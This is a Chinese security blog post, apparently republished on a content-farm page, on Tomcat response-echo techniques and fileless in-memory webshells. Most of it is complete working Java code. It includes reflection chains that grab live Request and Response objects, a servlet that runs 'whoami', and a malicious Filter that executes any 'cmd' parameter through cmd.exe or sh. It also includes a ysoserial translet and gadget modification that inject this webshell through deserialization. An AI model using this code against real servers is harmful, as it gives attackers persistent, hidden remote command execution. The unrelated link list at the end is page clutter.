文章插圖

文章插圖
0x00 前言#
按照我個人的理解來說其實只要能拿到Request 和Response對象即可進行回顯的構造,當然這也是眾多方式的一種 。也是目前用的較多的方式 。比如在Tomcat 全局存儲的Request 和Response對象,進行獲取后則可以在tomcat這個容器下進行回顯 。而某些漏洞的方式會從漏洞的位置去尋找存儲Request 和Response對象的地方 。
0x01 Tomcat通用回顯#
根據Litch1師傅的思路來尋找request,response對象全局存儲的位置基于全局儲存的新思路 | Tomcat的一種通用回顯方法研究
根據該文章思路得知,在Tomcat啟動的時候會調用該位置的dorun方法
【數據回顯和反顯 前端數據回顯什么意思】所以整體的思路下來我們需要獲取AbstractProtocol$ConnectionHandler類 -> 獲取global變量 ->RequestInfo->Request–>Response 。
這里尋找到的是Connector成員變量中為protocolHandler屬性的值,而 Http11AprProtocol類實現了該接口 。
Connector—>AbstractProtocol$ConnectoinHandler—>global—>RequestInfo—>Request—>Response
而在Tomcat啟動過程紅會將Connector放入Service中 。
StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)–>RequestInfo——->Request——–>Response
那么這時候如何獲取StandardService成為了問題的一大關鍵 。
文中給出的方法是從Thread.currentThread.getContextClassLoader()里面獲取webappClassLoaderBase,再獲取上下文中的 StandardService 。
最后調用鏈為
WebappClassLoaderBase —>
ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response
package com;import org.apache.catalina.Context;import org.apache.catalina.Service;import org.apache.catalina.connector.Connector;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardService;import org.apache.coyote.AbstractProtocol;import org.apache.coyote.RequestGroupInfo;import org.apache.coyote.RequestInfo;import org.apache.coyote.Response;import javax.servlet.ServletContext;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Modifier;import java.util.ArrayList;@WebServlet("/demoServlet")public class demoServlet extends HttpServlet {protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();try {Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");context.setAccessible(true);ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");service.setAccessible(true);StandardService standardService = (StandardService)service.get(ApplicationContext);Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");connectors.setAccessible(true);Connector[] connector = (Connector[])connectors.get(standardService);Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");protocolHandler.setAccessible(true);//AbstractProtocol abstractProtocol = (AbstractProtocol)protocolHandler.get(connector[0]);Class<?>[] AbstractProtocol_list = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();for (Class<?> aClass : AbstractProtocol_list) {if (aClass.getName().length()==52){java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);getHandlerMethod.setAccessible(true);Field globalField = aClass.getDeclaredField("global");globalField.setAccessible(true);org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(connector[0].getProtocolHandler(), null));Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");processors.setAccessible(true);java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo);Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");req.setAccessible(true);for (RequestInfo requestInfo : RequestInfo_list) {org.apache.coyote.Request request1 = (org.apache.coyote.Request )req.get(requestInfo);org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote(1);org.apache.catalina.connector.Response response2 = request2.getResponse();response2.getWriter().write("111");}}}} catch (NoSuchFieldException e) {e.printStackTrace();} catch (ClassNotFoundException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();} catch (NoSuchMethodException e) {e.printStackTrace();} catch (InvocationTargetException e) {e.printStackTrace();}}protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {this.doPost(request, response);}}package com;import org.apache.catalina.Context;import org.apache.catalina.Service;import org.apache.catalina.connector.Connector;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardService;import org.apache.coyote.AbstractProtocol;import org.apache.coyote.RequestGroupInfo;import org.apache.coyote.RequestInfo;import org.apache.coyote.Response;import javax.servlet.ServletContext;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.BufferedInputStream;import java.io.BufferedOutputStream;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Modifier;import java.util.ArrayList;@WebServlet("/demoServlet")public class demoServlet extends HttpServlet {protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();try {Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");context.setAccessible(true);ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");service.setAccessible(true);StandardService standardService = (StandardService)service.get(ApplicationContext);Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");connectors.setAccessible(true);Connector[] connector = (Connector[])connectors.get(standardService);Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");protocolHandler.setAccessible(true);//AbstractProtocol abstractProtocol = (AbstractProtocol)protocolHandler.get(connector[0]);Class<?>[] AbstractProtocol_list = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();for (Class<?> aClass : AbstractProtocol_list) {if (aClass.getName().length()==52){java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);getHandlerMethod.setAccessible(true);Field globalField = aClass.getDeclaredField("global");globalField.setAccessible(true);org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(connector[0].getProtocolHandler(), null));Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");processors.setAccessible(true);java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo);Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");req.setAccessible(true);for (RequestInfo requestInfo : RequestInfo_list) {org.apache.coyote.Request request1 = (org.apache.coyote.Request )req.get(requestInfo);org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote(1);org.apache.catalina.connector.Response response2 = request2.getResponse();response2.getWriter().write("111");InputStream whoami = Runtime.getRuntime().exec("whoami").getInputStream();//BufferedInputStream bufferedInputStream = new BufferedInputStream(whoami);BufferedInputStream bis = new BufferedInputStream(whoami);int b ;while ((b = bis.read())!=-1){response2.getWriter().write(b);}}}}} catch (NoSuchFieldException e) {e.printStackTrace();} catch (ClassNotFoundException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();} catch (NoSuchMethodException e) {e.printStackTrace();} catch (InvocationTargetException e) {e.printStackTrace();}}protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {this.doPost(request, response);}}坑點記錄#開始想直接獲取內部類發現思路不通,后來采用getDeclaredClasses方法獲取某類中所有內部的內部類遍歷,判斷類名傳遞定位到該類 。獲取global遍歷的時候出現了巨坑,直接反射去獲取 。但是未意識到創建是一個class對象,反射使用get方法必須傳遞實例 。獲取到Request需要調用request.getNote(1);轉換為org.apache.catalina.connector.Request的對象 。fanal修飾變量,需做修改,直接獲取報錯 。
通過調用 org.apache.coyote.Request#getNote(ADAPTER_NOTES) 和 org.apache.coyote.Response#getNote(ADAPTER_NOTES) 來獲取 org.apache.catalina.connector.Request 和 org.apache.catalina.connector.Response 對象文章鏈接0x02 Tomcat半通用回顯#
基于Tomcat中一種半通用回顯方法該篇文來調試一下 。
根據前文思路順著堆棧一路向下查看Request和Response存儲位置,只要獲取到一個實例即可 。
順著思路,在org.apache.catalina.core.ApplicationFilterChain位置發現符合條件的變量 。
1、反射修改ApplicationDispatcher.WRAP_SAME_OBJECT,讓代碼邏輯走到if條件里面
2、初始化lastServicedRequest和lastServicedResponse兩個變量,默認為null
3、從lastServicedResponse中獲取當前請求response,并且回顯內容 。
自己嘗試構造了一下
package com;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Modifier;@WebServlet("/testServlet")public class testServlet extends HttpServlet {protected void doPost(HttpServletRequest request, HttpServletResponse response) {try {Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");lastServicedRequest.setAccessible(true);lastServicedResponse.setAccessible(true);wrap_same_object.setAccessible(true);//修改finalField modifiersField = Field.class.getDeclaredField("modifiers");modifiersField.setAccessible(true);modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);boolean wrap_same_object1 = wrap_same_object.getBoolean(null);ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>)lastServicedRequest.get(null);ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>)lastServicedResponse.get(null);wrap_same_object.setBoolean(null,true);lastServicedRequest.set(null,new ThreadLocal<>());lastServicedResponse.set(null,new ThreadLocal<>());ServletResponse servletResponse = responseThreadLocal.get();servletResponse.getWriter().write("111");} catch (Exception e) {e.printStackTrace();}}protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {this.doPost(request, response);}}同理,可集成到yso中,反序列化命令執行結果借助該servletResponse 。在shiro反序列化漏洞的利用中并不能成功,發現request,response的設置是在漏洞觸發點之后,所以在觸發漏洞執行任意java代碼時獲取不到我們想要的response 。其原因是因為rememberMe功能的實現是使用了自己實現的filter 。
0x03 內存馬構造#
前文的基于Tomcat實現內存馬中只是借助Servlet直接去進行動態添加Filter實現內存馬 。而實際當中還是需要借助反序列化點來直接打入內存馬 。
下面再來構造一個完整的 。
獲取到ApplicationContext調用addFilter方法直接將惡意Filter添加進去發現并不行 。
ApplicationContext.addFilter(filterName,new ShellIntInject());Field state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");state.setAccessible(true);state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);修改完成后,再來看到addFilter中,this.context.findFilterDef也就是尋找StandardContext中的filterDef,所以我們需要添加到filterConfigs、filterDefs、filterMaps 。在添加filter前,通過反射設置成LifecycleState.STARTING_PREP,添加完成后,再把其恢復成LifecycleState.STARTE,需要恢復,否則可能導致服務不可用 。
//添加攔截路徑,實現是將存儲寫入到filterMap中registration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{"/*"});后面再來看到StandardContext 中filterStart方法會遍歷所有filterDefs實例化ApplicationFilterConfig添加到filterConfigs中this.filterConfigs.clear();Iterator i$ = this.filterDefs.entrySet().iterator();while(i$.hasNext()) {Entry<String, FilterDef> entry = (Entry)i$.next();String name = (String)entry.getKey();if (this.getLogger().isDebugEnabled()) {this.getLogger().debug(" Starting filter '" + name + "'");}try {ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());this.filterConfigs.put(name, filterConfig);} catch (Throwable var8) {Throwable t = ExceptionUtils.unwrapInvocationTargetException(var8);ExceptionUtils.handleThrowable(t);this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), t);ok = false;}}return ok;}}前面我們的調用addfilter方法的時候已經將 對應的filterDef給添加進去,我們只需要調用該方法即可實現filterConfig的添加 。 //調用filterStart方法將filterconfig進行添加Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart");filterStart.setAccessible(true);filterStart.invoke(standardContext,null);最后,需要將filter位置進行調整 。完整代碼#
package com;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.tomcat.util.descriptor.web.FilterMap;import javax.servlet.*;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.BufferedInputStream;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.lang.reflect.Modifier;@WebServlet("/testServlet")public class testServlet extends HttpServlet {private final String cmdParamName = "cmd";private final static String filterUrlPattern = "/*";private final static String filterName = "cmdFilter";protected void doPost(HttpServletRequest request, HttpServletResponse response) {try {Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");lastServicedRequest.setAccessible(true);lastServicedResponse.setAccessible(true);wrap_same_object.setAccessible(true);//修改finalField modifiersField = Field.class.getDeclaredField("modifiers");modifiersField.setAccessible(true);modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);boolean wrap_same_object1 = wrap_same_object.getBoolean(null);ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>)lastServicedRequest.get(null);ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>)lastServicedResponse.get(null);wrap_same_object.setBoolean(null,true);lastServicedRequest.set(null,new ThreadLocal<>());lastServicedResponse.set(null,new ThreadLocal<>());ServletResponse servletResponse = responseThreadLocal.get();ServletRequest servletRequest = requestThreadLocal.get();ServletContext servletContext = servletRequest.getServletContext();//這里實際獲取到的是ApplicationContextFacadeif (servletContext!=null) {//編寫惡意Filterclass ShellIntInject implements javax.servlet.Filter{@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {System.out.println("s");String cmd = servletRequest.getParameter(cmdParamName);if(cmd!=null) {String[] cmds = null;if (System.getProperty("os.name").toLowerCase().contains("win")) {cmds = new String[]{"cmd.exe", "/c", cmd};} else {cmds = new String[]{"sh", "-c", cmd};}java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\a");String output = s.hasNext() ? s.next() : "";java.io.Writer writer = servletResponse.getWriter();writer.write(output);writer.flush();writer.close();}filterChain.doFilter(request, response);}@Overridepublic void destroy() {}}//獲取ApplicationContextField context = servletContext.getClass().getDeclaredField("context");context.setAccessible(true);ApplicationContext ApplicationContext = (ApplicationContext)context.get(servletContext);//獲取standardContextField context1 = ApplicationContext.getClass().getDeclaredField("context");context1.setAccessible(true);StandardContext standardContext = (StandardContext) context1.get(ApplicationContext);//獲取LifecycleBase的state修改為org.apache.catalina.LifecycleState.STARTING_PREPField state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");state.setAccessible(true);state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);//注冊filterNameFilterRegistration.Dynamic registration = ApplicationContext.addFilter(filterName, new ShellIntInject());//添加攔截路徑,實現是將存儲寫入到filterMap中registration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{"/*"});//調用filterStart方法將filterconfig進行添加Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart");filterStart.setAccessible(true);filterStart.invoke(standardContext,null);//移動filter為位置到前面FilterMap[] filterMaps = standardContext.findFilterMaps();for (int i = 0; i < filterMaps.length; i++) {if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];filterMaps[i] = filterMaps[0];filterMaps[0] = filterMap;break;}}servletResponse.getWriter().write("Success");state.set(standardContext,org.apache.catalina.LifecycleState.STARTED);}} catch (Exception e) {e.printStackTrace();}}protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {this.doPost(request, response);}}但這并未完,雖然我們借助了代碼執行獲取到Request和Response后構造內存馬 。但是仍需要修改代碼,將代碼集成到yso中后,以供反序列化攻擊使用 。0x04 改造yso#
將前面代碼扣下來,并且繼承AbstractTranslet,后面需要使用TemplatesImpl類去動態加載該類 。
package ysoserial.exploit;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.tomcat.util.descriptor.web.FilterMap;import javax.servlet.*;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.lang.reflect.Modifier;public class TomcatShellIntInject extends AbstractTranslet {private final static String cmdParamName = "cmd";private final static String filterUrlPattern = "/*";private final static String filterName = "cmdFilter";static {try {Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");lastServicedRequest.setAccessible(true);lastServicedResponse.setAccessible(true);wrap_same_object.setAccessible(true);//修改finalField modifiersField = Field.class.getDeclaredField("modifiers");modifiersField.setAccessible(true);modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);boolean wrap_same_object1 = wrap_same_object.getBoolean(null);ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);wrap_same_object.setBoolean(null, true);lastServicedRequest.set(null, new ThreadLocal<ServletRequest>());lastServicedResponse.set(null, new ThreadLocal<ServletResponse>());ServletResponse servletResponse = responseThreadLocal.get();ServletRequest servletRequest = requestThreadLocal.get();ServletContext servletContext = servletRequest.getServletContext();//這里實際獲取到的是ApplicationContextFacadeif (servletContext != null) {//編寫惡意Filterclass ShellIntInject implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {String cmd = servletRequest.getParameter(cmdParamName);if (cmd != null) {String[] cmds = null;if (System.getProperty("os.name").toLowerCase().contains("win")) {cmds = new String[]{"cmd.exe", "/c", cmd};} else {cmds = new String[]{"sh", "-c", cmd};}java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\a");String output = s.hasNext() ? s.next() : "";java.io.Writer writer = servletResponse.getWriter();writer.write(output);writer.flush();writer.close();}filterChain.doFilter(servletRequest, servletResponse);}@Overridepublic void destroy() {}}//獲取ApplicationContextField context = servletContext.getClass().getDeclaredField("context");context.setAccessible(true);ApplicationContext ApplicationContext = (ApplicationContext) context.get(servletContext);//獲取standardContextField context1 = ApplicationContext.getClass().getDeclaredField("context");context1.setAccessible(true);StandardContext standardContext = (StandardContext) context1.get(ApplicationContext);//獲取LifecycleBase的state修改為org.apache.catalina.LifecycleState.STARTING_PREPField state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");state.setAccessible(true);state.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);//注冊filterNameFilterRegistration.Dynamic registration = ApplicationContext.addFilter(filterName, new ShellIntInject());//添加攔截路徑,實現是將存儲寫入到filterMap中registration.addMappingForUrlPatterns(java.util.EnumSet.of(DispatcherType.REQUEST), false, new String[]{filterUrlPattern});//調用filterStart方法將filterconfig進行添加Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart");filterStart.setAccessible(true);filterStart.invoke(standardContext, null);//移動filter為位置到前面FilterMap[] filterMaps = standardContext.findFilterMaps();for (int i = 0; i < filterMaps.length; i++) {if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];filterMaps[i] = filterMaps[0];filterMaps[0] = filterMap;break;}}servletResponse.getWriter().write("Success");state.set(standardContext, org.apache.catalina.LifecycleState.STARTED);}} catch (Exception e) {e.printStackTrace();}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}}yso中createTemplatesImpl稍做修改public static Object createTemplatesImpl_shell ( final String command ) throws Exception {if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {return createTemplatesImpl(command,Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));}return createTemplatesImpl_shell(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);}public static <T> T createTemplatesImpl_shell ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )throws Exception {final T templates = tplClass.newInstance();// use template gadget classClassPool pool = ClassPool.getDefault();pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));pool.insertClassPath(new ClassClassPath(abstTranslet));final CtClass clazz = pool.get(StubTransletPayload.class.getName());final byte[]classBytes = ClassFiles.classAsBytes(TomcatShellIntInject.class);//final byte[] classBytes = clazz.toBytecode();// inject class bytes into instanceReflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes, ClassFiles.classAsBytes(Foo.class)});// required to make TemplatesImpl happyReflections.setFieldValue(templates, "_name", "Pwnr");Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());return templates;}這里拿cc2鏈來測試,復制cc2鏈代碼 。將getObject方法修改final Object templates = Gadgets.createTemplatesImpl_shell(command);github:https://github.com/nice0e3/ysoserial-master0x05 Reference#
基于全局儲存的新思路 | Tomcat的一種通用回顯方法研究
Tomcat中一種半通用回顯方法
基于tomcat的內存 Webshell 無文件攻擊技術
Java Web代碼執行漏洞回顯總結
Shiro 550 漏洞學習 (二):內存馬注入及回顯
0x06 結尾#
說到底,其實中間件回顯就是獲取Request 和Response對象,拿到以后借助拿到的Request 和Response對象進行回顯,而內存馬則是使用獲取到的這兩對象從而獲取到Context進行動態添加Filter 。而文中并沒有去實現冰蝎等內存shell,而只實現了一個cmd的shell 。同理,只需將惡意Fliter修改成冰蝎的shell即可 。
- 人工智能和大數據是什么 人工智能與大數據的區別與聯系
- 淘寶數據采集軟件 淘寶客采集軟件哪個好
- 網站數據分析結課報告 在線課程數據分析
- oracle數據庫三種文件類型 oracle 文件類型
- dnf輔助給你開端口什么意思 dnf端口輔助和腳本的區別
- 火麻仁的功效和作用有哪些呢
- 火麻仁功效有哪些呢
- 大數據的意思 大數據指的是什么
- 路旁的葉修和426發生了什么 路旁的葉修怎么去世的
- 青年醫生鄒倚夢和誰在一起了 扮演者周放的個人資料
